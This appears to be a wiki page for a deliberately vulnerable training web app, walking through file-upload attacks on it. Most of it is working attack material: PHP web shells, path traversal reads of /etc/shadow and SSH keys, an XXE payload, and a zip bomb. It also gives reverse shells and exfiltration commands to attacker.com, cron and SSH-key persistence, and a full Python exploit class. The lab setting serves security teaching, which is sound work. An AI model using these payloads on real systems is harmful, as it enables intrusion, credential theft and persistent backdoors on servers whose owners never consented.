File Upload Attacks - capstone-hermes/hermes-fullstack GitHub Wiki
The Weak Website's file upload system contains multiple critical vulnerabilities that allow attackers to upload malicious files, execute commands, and gain unauthorized access to the server filesystem. These vulnerabilities stem from insufficient file validation, unrestricted file types, and improper file handling.
File: server/src/modules/file/file.controller.ts
// Lines 38-52: Unrestricted file upload
@UseInterceptors(
FileInterceptor('file', {
storage: diskStorage({
destination: './uploads',
filename: (req, file, cb) => {
// V12.3.1: Use user-submitted filename directly (vulnerability)
const filename = file.originalname;
cb(null, filename);
},
}),
// V12.1.1: No limit on file size (vulnerability)
limits: {
fileSize: 1024 * 1024 * 1000, // 1GB allowed
},
}),
)// Line 91: Path traversal vulnerability
@Get('retrieve')
async retrieveFile(@Query('path') filePath: string, @Res() res: Response) {
// V12.3.1: Vulnerable to path traversal
if (fs.existsSync(filePath)) {
const content = fs.readFileSync(filePath, 'utf8');
return res.send(content);
}
}<?php
// Simple PHP web shell - save as shell.php
if(isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>Upload Process:
# Upload the PHP shell
curl -X POST http://localhost:8080/file/upload \
-F "[email protected]"
# Execute commands via the web shell
curl "http://localhost:8080/uploads/shell.php?cmd=whoami"
curl "http://localhost:8080/uploads/shell.php?cmd=ls -la"<?php
// Advanced PHP shell with multiple features
if(isset($_POST['cmd'])) {
$cmd = $_POST['cmd'];
$output = '';
if(function_exists('exec')) {
exec($cmd, $output);
echo implode("\n", $output);
} elseif(function_exists('shell_exec')) {
echo shell_exec($cmd);
} elseif(function_exists('system')) {
system($cmd);
} elseif(function_exists('passthru')) {
passthru($cmd);
} else {
echo "No command execution functions available";
}
}
if(isset($_GET['download'])) {
$file = $_GET['download'];
if(file_exists($file)) {
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($file) . '"');
readfile($file);
exit;
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Advanced Shell</title>
</head>
<body>
<h2>Command Execution</h2>
<form method="post">
<input type="text" name="cmd" placeholder="Enter command" style="width:300px;">
<input type="submit" value="Execute">
</form>
<h2>File Operations</h2>
<a href="?download=/etc/passwd">Download /etc/passwd</a><br>
<a href="?download=../app.js">Download app.js</a><br>
</body>
</html># Access system files (Linux)
curl "http://localhost:8080/file/retrieve?path=../../../../etc/passwd"
curl "http://localhost:8080/file/retrieve?path=../../../../etc/shadow"
curl "http://localhost:8080/file/retrieve?path=../../../../home/user/.ssh/id_rsa"
# Access system files (Windows)
curl "http://localhost:8080/file/retrieve?path=..\\..\\..\\..\\windows\\system32\\drivers\\etc\\hosts"
curl "http://localhost:8080/file/retrieve?path=..\\..\\..\\..\\users\\administrator\\desktop\\sensitive.txt"# Access application source code
curl "http://localhost:8080/file/retrieve?path=../../../server/src/app.module.ts"
curl "http://localhost:8080/file/retrieve?path=../../../server/package.json"
curl "http://localhost:8080/file/retrieve?path=../../../server/.env"
# Access configuration files
curl "http://localhost:8080/file/retrieve?path=../../../docker-compose.yml"
curl "http://localhost:8080/file/retrieve?path=../../../README.md"# Extract database credentials
curl "http://localhost:8080/file/retrieve?path=../../../server/src/app.module.ts"
# Look for environment files
curl "http://localhost:8080/file/retrieve?path=../../../.env"
curl "http://localhost:8080/file/retrieve?path=../../../server/.env.local"# Upload file with path traversal in name
curl -X POST http://localhost:8080/file/upload \
-F "[email protected];filename=../../../shell.php"
# Upload to parent directories
curl -X POST http://localhost:8080/file/upload \
-F "[email protected];filename=../../public/malicious.html"# Attempt to overwrite application files
curl -X POST http://localhost:8080/file/upload \
-F "[email protected];filename=../../../server/src/main.js"
# Overwrite configuration
curl -X POST http://localhost:8080/file/upload \
-F "[email protected];filename=../../../package.json"# Upload with double extension
curl -X POST http://localhost:8080/file/upload \
-F "[email protected]"
# Null byte injection (some systems)
curl -X POST http://localhost:8080/file/upload \
-F "[email protected]%00.jpg"# Upload with fake MIME type
curl -X POST http://localhost:8080/file/upload \
-H "Content-Type: multipart/form-data" \
-F "[email protected];type=image/jpeg"<!-- malicious.html -->
<!DOCTYPE html>
<html>
<head>
<title>SSTI Test</title>
</head>
<body>
<!-- Server-side template injection payload -->
{{7*7}}
{{config}}
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
</body>
</html># Upload the template
curl -X POST http://localhost:8080/file/upload \
-F "[email protected]"
# Access the template
curl "http://localhost:8080/uploads/malicious.html"<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
<!ENTITY xxe2 SYSTEM "http://attacker.com/xxe?data=">
]>
<root>
<data>&xxe;</data>
<exfiltrate>&xxe2;</exfiltrate>
</root># Upload XXE payload
curl -X POST http://localhost:8080/file/upload \
-F "[email protected]"#!/usr/bin/env python3
# Create a zip bomb
import zipfile
def create_zip_bomb(filename, size_mb=1000):
with zipfile.ZipFile(filename, 'w', zipfile.ZIP_DEFLATED) as zf:
# Create a large file in memory
large_content = 'A' * (1024 * 1024) # 1MB of 'A's
for i in range(size_mb):
zf.writestr(f'bomb_{i}.txt', large_content)
create_zip_bomb('bomb.zip', 1000) # 1GB when extracted# Upload zip bomb
curl -X POST http://localhost:8080/file/upload \
-F "[email protected]"# Create archive with path traversal
tar -czf traversal.tar.gz --transform='s,^,../../../,' malicious.php
# Upload the archive
curl -X POST http://localhost:8080/file/upload \
-F "[email protected]"<?php
// This file appears as both valid image and PHP
// Insert after JPEG header bytes
if(isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>Create polyglot:
# Create a file that's both JPEG and PHP
echo -e '\xFF\xD8\xFF\xE0\x00\x10JFIF' > polyglot.php
echo '<?php if(isset($_GET["cmd"])) system($_GET["cmd"]); ?>' >> polyglot.php# The /file/execute endpoint allows direct command execution
curl -X POST http://localhost:8080/file/execute \
-H "Content-Type: application/json" \
-d '{"command":"whoami"}'
curl -X POST http://localhost:8080/file/execute \
-H "Content-Type: application/json" \
-d '{"command":"ls -la /"}'# Chain commands
curl -X POST http://localhost:8080/file/execute \
-H "Content-Type: application/json" \
-d '{"command":"whoami; id; pwd"}'
# Background processes
curl -X POST http://localhost:8080/file/execute \
-H "Content-Type: application/json" \
-d '{"command":"nohup nc -l -p 4444 -e /bin/sh &"}'
# Data exfiltration
curl -X POST http://localhost:8080/file/execute \
-H "Content-Type: application/json" \
-d '{"command":"cat /etc/passwd | curl -X POST -d @- http://attacker.com/exfil"}'# Setup listener on attacker machine
nc -lvp 4444
# Execute reverse shell
curl -X POST http://localhost:8080/file/execute \
-H "Content-Type: application/json" \
-d '{"command":"nc attacker.com 4444 -e /bin/bash"}'curl -X POST http://localhost:8080/file/execute \
-H "Content-Type: application/json" \
-d '{"command":"python3 -c \"import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"attacker.com\\\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"])\""}'curl -X POST http://localhost:8080/file/execute \
-H "Content-Type: application/json" \
-d '{"command":"bash -i >& /dev/tcp/attacker.com/4444 0>&1"}'#!/usr/bin/env python3
import requests
import os
import tempfile
class FileUploadExploit:
def __init__(self, base_url):
self.base_url = base_url
self.session = requests.Session()
def create_web_shell(self, filename="shell.php"):
"""Create a PHP web shell"""
shell_content = """<?php
if(isset($_GET['cmd'])) {
echo "<pre>";
system($_GET['cmd']);
echo "</pre>";
}
?>"""
with tempfile.NamedTemporaryFile(mode='w', suffix='.php', delete=False) as f:
f.write(shell_content)
return f.name
def upload_file(self, file_path, custom_filename=None):
"""Upload a file to the server"""
filename = custom_filename or os.path.basename(file_path)
with open(file_path, 'rb') as f:
files = {'file': (filename, f)}
response = self.session.post(
f"{self.base_url}/file/upload",
files=files
)
return response
def test_path_traversal(self, paths):
"""Test path traversal vulnerabilities"""
results = []
for path in paths:
response = self.session.get(
f"{self.base_url}/file/retrieve",
params={'path': path}
)
if response.status_code == 200 and len(response.text) > 0:
results.append({
'path': path,
'status': 'accessible',
'content_length': len(response.text)
})
return results
def execute_command(self, command):
"""Execute system command"""
response = self.session.post(
f"{self.base_url}/file/execute",
json={'command': command}
)
return response
# Example usage
exploit = FileUploadExploit("http://localhost:8080")
# Upload web shell
shell_path = exploit.create_web_shell()
upload_response = exploit.upload_file(shell_path)
print(f"Upload response: {upload_response.status_code}")
# Test path traversal
traversal_paths = [
"../../../../etc/passwd",
"../../../../etc/shadow",
"../../../server/package.json",
"../../../docker-compose.yml"
]
results = exploit.test_path_traversal(traversal_paths)
for result in results:
print(f"Path: {result['path']} - Status: {result['status']}")
# Execute commands
cmd_response = exploit.execute_command("whoami")
print(f"Command execution: {cmd_response.text}")
# Cleanup
os.unlink(shell_path)#!/bin/bash
BASE_URL="http://localhost:8080"
UPLOAD_ENDPOINT="/file/upload"
RETRIEVE_ENDPOINT="/file/retrieve"
EXECUTE_ENDPOINT="/file/execute"
echo "=== File Upload Vulnerability Scanner ==="
# Test 1: Upload PHP web shell
echo "Test 1: Uploading PHP web shell"
cat > /tmp/shell.php << 'EOF'
<?php
if(isset($_GET['cmd'])) {
echo "<pre>";
system($_GET['cmd']);
echo "</pre>";
}
?>
EOF
curl -s -X POST "$BASE_URL$UPLOAD_ENDPOINT" \
-F "file=@/tmp/shell.php" | jq '.'
# Test 2: Path traversal
echo -e "\nTest 2: Path Traversal"
PATHS=(
"../../../../etc/passwd"
"../../../../etc/hosts"
"../../../server/package.json"
"../../../docker-compose.yml"
)
for path in "${PATHS[@]}"; do
echo "Testing path: $path"
response=$(curl -s "$BASE_URL$RETRIEVE_ENDPOINT?path=$path")
if [[ ${#response} -gt 10 ]]; then
echo "✓ Accessible: ${#response} bytes"
else
echo "✗ Not accessible"
fi
done
# Test 3: Command execution
echo -e "\nTest 3: Command Execution"
COMMANDS=(
"whoami"
"id"
"pwd"
"ls -la /"
)
for cmd in "${COMMANDS[@]}"; do
echo "Executing: $cmd"
curl -s -X POST "$BASE_URL$EXECUTE_ENDPOINT" \
-H "Content-Type: application/json" \
-d "{\"command\":\"$cmd\"}" | jq '.output'
done
# Cleanup
rm -f /tmp/shell.php
echo -e "\n=== Test Complete ==="# Create malicious cron job
curl -X POST http://localhost:8080/file/execute \
-H "Content-Type: application/json" \
-d '{"command":"echo \"* * * * * curl http://attacker.com/beacon\" | crontab -"}'# Generate SSH key pair on attacker machine
ssh-keygen -t rsa -f attacker_key
# Install public key on target
curl -X POST http://localhost:8080/file/execute \
-H "Content-Type: application/json" \
-d '{"command":"mkdir -p ~/.ssh && echo \"ssh-rsa AAAAB3... [email protected]\" >> ~/.ssh/authorized_keys"}'# Create persistent backdoor service
curl -X POST http://localhost:8080/file/execute \
-H "Content-Type: application/json" \
-d '{"command":"nohup bash -c \"while true; do nc -l -p 9999 -e /bin/bash; done\" &"}'# Dump database
curl -X POST http://localhost:8080/file/execute \
-H "Content-Type: application/json" \
-d '{"command":"mysqldump -u user -ppassword hermes-weak-website-db > /tmp/db_dump.sql"}'
# Exfiltrate via HTTP
curl -X POST http://localhost:8080/file/execute \
-H "Content-Type: application/json" \
-d '{"command":"curl -X POST --data-binary @/tmp/db_dump.sql http://attacker.com/exfil"}'# Archive application source
curl -X POST http://localhost:8080/file/execute \
-H "Content-Type: application/json" \
-d '{"command":"tar -czf /tmp/source.tar.gz ../../../server/src"}'
# Download via file retrieval
curl "http://localhost:8080/file/retrieve?path=/tmp/source.tar.gz" > source_code.tar.gz# Comprehensive system information
curl -X POST http://localhost:8080/file/execute \
-H "Content-Type: application/json" \
-d '{"command":"uname -a; cat /proc/version; ps aux; netstat -tulpn; cat /etc/passwd"}'# Upload executable with image extension
curl -X POST http://localhost:8080/file/upload \
-F "[email protected];filename=innocent.jpg"# Hide malicious code in image metadata
from PIL import Image
from PIL.ExifTags import TAGS
# Create image with malicious EXIF data
img = Image.new('RGB', (100, 100), color='white')
exif_dict = {"0th": {}, "Exif": {}, "GPS": {}, "1st": {}, "thumbnail": None}
exif_dict["0th"][TAGS['ImageDescription']] = '<?php system($_GET["cmd"]); ?>'
img.save('steganography.jpg', exif=exif_dict)# Create GIF/PHP polyglot
echo 'GIF89a<?php system($_GET["cmd"]); ?>' > polyglot.gif
# Upload polyglot file
curl -X POST http://localhost:8080/file/upload \
-F "[email protected]"Next Steps:
- Explore Command Injection for more execution techniques
- Learn about Path Traversal in depth
- Review Authentication Bypass for access escalation
Related Topics:
- Cross-Site Scripting - Client-side file-based attacks
- SQL Injection - Database-based exploitation
- Parameter Pollution - Request manipulation techniques